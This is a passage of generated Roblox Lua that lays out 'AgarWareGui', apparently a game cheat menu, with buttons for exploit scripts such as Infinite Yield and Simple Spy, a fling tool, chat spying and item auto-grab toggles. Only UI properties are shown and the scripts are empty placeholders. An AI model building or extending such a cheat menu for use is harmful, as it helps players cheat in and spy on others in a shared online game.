G2L["bc"]["Name"] = [[ExploitsAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsTitle G2L["bd"] = Instance.new("TextLabel", G2L["b9"]); G2L["bd"]["TextWrapped"] = true; G2L["bd"]["BorderSizePixel"] = 0; G2L["bd"]["TextSize"] = 14; G2L["bd"]["TextScaled"] = true; G2L["bd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["bd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["bd"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["bd"]["BackgroundTransparency"] = 0.95; G2L["bd"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["bd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["bd"]["Text"] = [[Exploits]]; G2L["bd"]["LayoutOrder"] = 1; G2L["bd"]["Name"] = [[ExploitsTitle]]; G2L["bd"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsTitle.ExploitsMinimize G2L["be"] = Instance.new("TextButton", G2L["bd"]); G2L["be"]["BorderSizePixel"] = 0; G2L["be"]["TextSize"] = 14; G2L["be"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["be"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["be"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["be"]["BackgroundTransparency"] = 1; G2L["be"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["be"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["be"]["Text"] = [[-]]; G2L["be"]["Name"] = [[ExploitsMinimize]]; G2L["be"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow G2L["bf"] = Instance.new("Frame", G2L["b9"]); G2L["bf"]["BorderSizePixel"] = 0; G2L["bf"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["bf"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["bf"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["bf"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["bf"]["Name"] = [[IYRow]]; G2L["bf"]["LayoutOrder"] = 3; G2L["bf"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow.IYScript G2L["c0"] = Instance.new("LocalScript", G2L["bf"]); G2L["c0"]["Name"] = [[IYScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow.IYButton G2L["c1"] = Instance.new("TextButton", G2L["bf"]); G2L["c1"]["TextSize"] = 14; G2L["c1"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c1"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["c1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c1"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["c1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["c1"]["Text"] = [[Infinite Yield]]; G2L["c1"]["Name"] = [[IYButton]]; G2L["c1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow G2L["c2"] = Instance.new("Frame", G2L["b9"]); G2L["c2"]["BorderSizePixel"] = 0; G2L["c2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["c2"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["c2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["c2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["c2"]["Name"] = [[SSRow]]; G2L["c2"]["LayoutOrder"] = 4; G2L["c2"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow.SSScript G2L["c3"] = Instance.new("LocalScript", G2L["c2"]); G2L["c3"]["Name"] = [[SSScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow.SSButton G2L["c4"] = Instance.new("TextButton", G2L["c2"]); G2L["c4"]["TextSize"] = 14; G2L["c4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c4"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["c4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c4"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["c4"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["c4"]["Text"] = [[Simple Spy V3]]; G2L["c4"]["Name"] = [[SSButton]]; G2L["c4"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow G2L["c5"] = Instance.new("Frame", G2L["b9"]); G2L["c5"]["BorderSizePixel"] = 0; G2L["c5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["c5"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["c5"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["c5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["c5"]["Name"] = [[FlingScriptRow]]; G2L["c5"]["LayoutOrder"] = 4; G2L["c5"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow.FlingScriptScript G2L["c6"] = Instance.new("LocalScript", G2L["c5"]); G2L["c6"]["Name"] = [[FlingScriptScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow.FlingScriptButton G2L["c7"] = Instance.new("TextButton", G2L["c5"]); G2L["c7"]["TextSize"] = 14; G2L["c7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c7"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["c7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c7"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["c7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["c7"]["Text"] = [[Fling GUI (for bedw)]]; G2L["c7"]["Name"] = [[FlingScriptButton]]; G2L["c7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage G2L["c8"] = Instance.new("ScrollingFrame", G2L["17"]); G2L["c8"]["Visible"] = false; G2L["c8"]["Active"] = true; G2L["c8"]["BorderSizePixel"] = 0; G2L["c8"]["Name"] = [[TCOMainPage]]; G2L["c8"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["c8"]["Size"] = UDim2.new(0, 349, 0, 233); G2L["c8"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["c8"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0); G2L["c8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["c8"]["ScrollBarThickness"] = 0; G2L["c8"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide G2L["c9"] = Instance.new("Frame", G2L["c8"]); G2L["c9"]["BorderSizePixel"] = 0; G2L["c9"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["c9"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["c9"]["Position"] = UDim2.new(0, 0, 0.00439, 0); G2L["c9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["c9"]["Name"] = [[TCOMainLeftSide]]; G2L["c9"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.UIListLayout G2L["ca"] = Instance.new("UIListLayout", G2L["c9"]); G2L["ca"]["Padding"] = UDim.new(0, 7); G2L["ca"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup G2L["cb"] = Instance.new("Frame", G2L["c9"]); G2L["cb"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["cb"]["BorderMode"] = Enum.BorderMode.Middle; G2L["cb"]["Size"] = UDim2.new(0, 170, 0, 100); G2L["cb"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["cb"]["Name"] = [[MainGroup]]; G2L["cb"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainScript G2L["cc"] = Instance.new("LocalScript", G2L["cb"]); G2L["cc"]["Name"] = [[MainScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.UIListLayout G2L["cd"] = Instance.new("UIListLayout", G2L["cb"]); G2L["cd"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainAccentColor G2L["ce"] = Instance.new("Frame", G2L["cb"]); G2L["ce"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["ce"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["ce"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["ce"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["ce"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["ce"]["Name"] = [[MainAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainTitle G2L["cf"] = Instance.new("TextLabel", G2L["cb"]); G2L["cf"]["TextWrapped"] = true; G2L["cf"]["BorderSizePixel"] = 0; G2L["cf"]["TextSize"] = 14; G2L["cf"]["TextScaled"] = true; G2L["cf"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["cf"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["cf"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["cf"]["BackgroundTransparency"] = 0.95; G2L["cf"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["cf"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["cf"]["Text"] = [[Main]]; G2L["cf"]["LayoutOrder"] = 1; G2L["cf"]["Name"] = [[MainTitle]]; G2L["cf"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainTitle.MainMinimize G2L["d0"] = Instance.new("TextButton", G2L["cf"]); G2L["d0"]["BorderSizePixel"] = 0; G2L["d0"]["TextSize"] = 14; G2L["d0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["d0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d0"]["BackgroundTransparency"] = 1; G2L["d0"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["d0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["d0"]["Text"] = [[-]]; G2L["d0"]["Name"] = [[MainMinimize]]; G2L["d0"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow G2L["d1"] = Instance.new("Frame", G2L["cb"]); G2L["d1"]["BorderSizePixel"] = 0; G2L["d1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["d1"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["d1"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["d1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["d1"]["Name"] = [[ChatSpyRow]]; G2L["d1"]["LayoutOrder"] = 2; G2L["d1"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyScript G2L["d2"] = Instance.new("LocalScript", G2L["d1"]); G2L["d2"]["Name"] = [[ChatSpyScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyTickBox G2L["d3"] = Instance.new("TextButton", G2L["d1"]); G2L["d3"]["TextSize"] = 14; G2L["d3"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["d3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d3"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["d3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["d3"]["Text"] = [[]]; G2L["d3"]["Name"] = [[ChatSpyTickBox]]; G2L["d3"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyText G2L["d4"] = Instance.new("TextLabel", G2L["d1"]); G2L["d4"]["BorderSizePixel"] = 0; G2L["d4"]["TextSize"] = 14; G2L["d4"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["d4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["d4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d4"]["BackgroundTransparency"] = 1; G2L["d4"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["d4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["d4"]["Text"] = [[Spy Chat]]; G2L["d4"]["Name"] = [[ChatSpyText]]; G2L["d4"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ADODeathRow G2L["d5"] = Instance.new("Frame", G2L["cb"]); G2L["d5"]["BorderSizePixel"] = 0; G2L["d5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["d5"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["d5"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["d5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["d5"]["Name"] = [[ADODeathRow]]; G2L["d5"]["LayoutOrder"] = 2; G2L["d5"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ADODeathRow.ADODeathTickBox G2L["d6"] = Instance.new("TextButton", G2L["d5"]); G2L["d6"]["TextSize"] = 14; G2L["d6"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["d6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d6"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["d6"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["d6"]["Text"] = [[]]; G2L["d6"]["Name"] = [[ADODeathTickBox]]; G2L["d6"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ADODeathRow.ADODeathText G2L["d7"] = Instance.new("TextLabel", G2L["d5"]); G2L["d7"]["BorderSizePixel"] = 0; G2L["d7"]["TextSize"] = 14; G2L["d7"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["d7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["d7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d7"]["BackgroundTransparency"] = 1; G2L["d7"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["d7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["d7"]["Text"] = [[Auto Drop on Death]]; G2L["d7"]["Name"] = [[ADODeathText]]; G2L["d7"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.APickupRow G2L["d8"] = Instance.new("Frame", G2L["cb"]); G2L["d8"]["BorderSizePixel"] = 0; G2L["d8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["d8"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["d8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["d8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["d8"]["Name"] = [[APickupRow]]; G2L["d8"]["LayoutOrder"] = 2; G2L["d8"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.APickupRow.APickupTickBox G2L["d9"] = Instance.new("TextButton", G2L["d8"]); G2L["d9"]["TextSize"] = 14; G2L["d9"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["d9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d9"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["d9"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["d9"]["Text"] = [[]]; G2L["d9"]["Name"] = [[APickupTickBox]]; G2L["d9"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.APickupRow.APickupText G2L["da"] = Instance.new("TextLabel", G2L["d8"]); G2L["da"]["BorderSizePixel"] = 0; G2L["da"]["TextSize"] = 14; G2L["da"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["da"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["da"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["da"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["da"]["BackgroundTransparency"] = 1; G2L["da"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["da"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["da"]["Text"] = [[Auto Grab Items]]; G2L["da"]["Name"] = [[APickupText]]; G2L["da"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.AntiEnliRow G2L["db"] = Instance.new("Frame", G2L["cb"]); G2L["db"]["BorderSizePixel"] = 0; G2L["db"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["db"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["db"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["db"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["db"]["Name"] = [[AntiEnliRow]]; G2L["db"]["LayoutOrder"] = 2; G2L["db"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.AntiEnliRow.AntiEnliTickBox G2L["dc"] = Instance.new("TextButton", G2L["db"]); G2L["dc"]["TextSize"] = 14; G2L["dc"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["dc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["dc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["dc"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["dc"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["dc"]["Text"] = [[]]; G2L["dc"]["Name"] = [[AntiEnliTickBox]]; G2L["dc"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.AntiEnliRow.AntiEnliText G2L["dd"] = Instance.new("TextLabel", G2L["db"]); G2L["dd"]["BorderSizePixel"] = 0; G2L["dd"]["TextSize"] = 14; G2L["dd"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["dd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["dd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["dd"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["dd"]["BackgroundTransparency"] = 1; G2L["dd"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["dd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["dd"]["Text"] = [[Prevent Enli Drop]]; G2L["dd"]["Name"] = [[AntiEnliText]]; G2L["dd"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup G2L["de"] = Instance.new("Frame", G2L["c9"]); G2L["de"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["de"]["BorderMode"] = Enum.BorderMode.Middle; G2L["de"]["Size"] = UDim2.new(0, 170, 0, 81); G2L["de"]["Position"] = UDim2.new(0, 0, 0.29722, 0); G2L["de"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["de"]["Name"] = [[ToolsGroup]]; G2L["de"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsScript G2L["df"] = Instance.new("LocalScript", G2L["de"]); G2L["df"]["Name"] = [[ToolsScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.UIListLayout G2L["e0"] = Instance.new("UIListLayout", G2L["de"]); G2L["e0"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsAccentColor G2L["e1"] = Instance.new("Frame", G2L["de"]); G2L["e1"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["e1"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["e1"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["e1"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["e1"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["e1"]["Name"] = [[ToolsAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsTitle G2L["e2"] = Instance.new("TextLabel", G2L["de"]); G2L["e2"]["TextWrapped"] = true; G2L["e2"]["BorderSizePixel"] = 0; G2L["e2"]["TextSize"] = 14; G2L["e2"]["TextScaled"] = true; G2L["e2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["e2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e2"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["e2"]["BackgroundTransparency"] = 0.95; G2L["e2"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["e2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e2"]["Text"] = [[Tools]]; G2L["e2"]["LayoutOrder"] = 1; G2L["e2"]["Name"] = [[ToolsTitle]]; G2L["e2"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsTitle.ToolsMinimize G2L["e3"] = Instance.new("TextButton", G2L["e2"]); G2L["e3"]["BorderSizePixel"] = 0; G2L["e3"]["TextSize"] = 14; G2L["e3"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["e3"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e3"]["BackgroundTransparency"] = 1; G2L["e3"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["e3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e3"]["Text"] = [[-]]; G2L["e3"]["Name"] = [[ToolsMinimize]]; G2L["e3"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.DropAllRow G2L["e4"] = Instance.new("Frame", G2L["de"]); G2L["e4"]["BorderSizePixel"] = 0; G2L["e4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["e4"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["e4"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["e4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e4"]["Name"] = [[DropAllRow]]; G2L["e4"]["LayoutOrder"] = 1; G2L["e4"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.DropAllRow.DropAllButton G2L["e5"] = Instance.new("TextButton", G2L["e4"]); G2L["e5"]["TextSize"] = 14; G2L["e5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e5"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["e5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e5"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["e5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["e5"]["Text"] = [[Drop All Items]]; G2L["e5"]["Name"] = [[DropAllButton]]; G2L["e5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipAllRow G2L["e6"] = Instance.new("Frame", G2L["de"]); G2L["e6"]["BorderSizePixel"] = 0; G2L["e6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["e6"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["e6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["e6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e6"]["Name"] = [[EquipAllRow]]; G2L["e6"]["LayoutOrder"] = 1; G2L["e6"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipAllRow.EquipAllButton G2L["e7"] = Instance.new("TextButton", G2L["e6"]); G2L["e7"]["TextSize"] = 14; G2L["e7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e7"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["e7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e7"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["e7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["e7"]["Text"] = [[Equip All Items]]; G2L["e7"]["Name"] = [[EquipAllButton]]; G2L["e7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipEnlightenRow G2L["e8"] = Instance.new("Frame", G2L["de"]); G2L["e8"]["BorderSizePixel"] = 0; G2L["e8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["e8"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["e8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["e8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e8"]["Name"] = [[EquipEnlightenRow]]; G2L["e8"]["LayoutOrder"] = 6; G2L["e8"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipEnlightenRow.EquipEnlightenHelp G2L["e9"] = Instance.new("TextButton", G2L["e8"]); G2L["e9"]["TextSize"] = 14; G2L["e9"]["TextColor3"] = Color3.fromRGB(96, 96, 96); 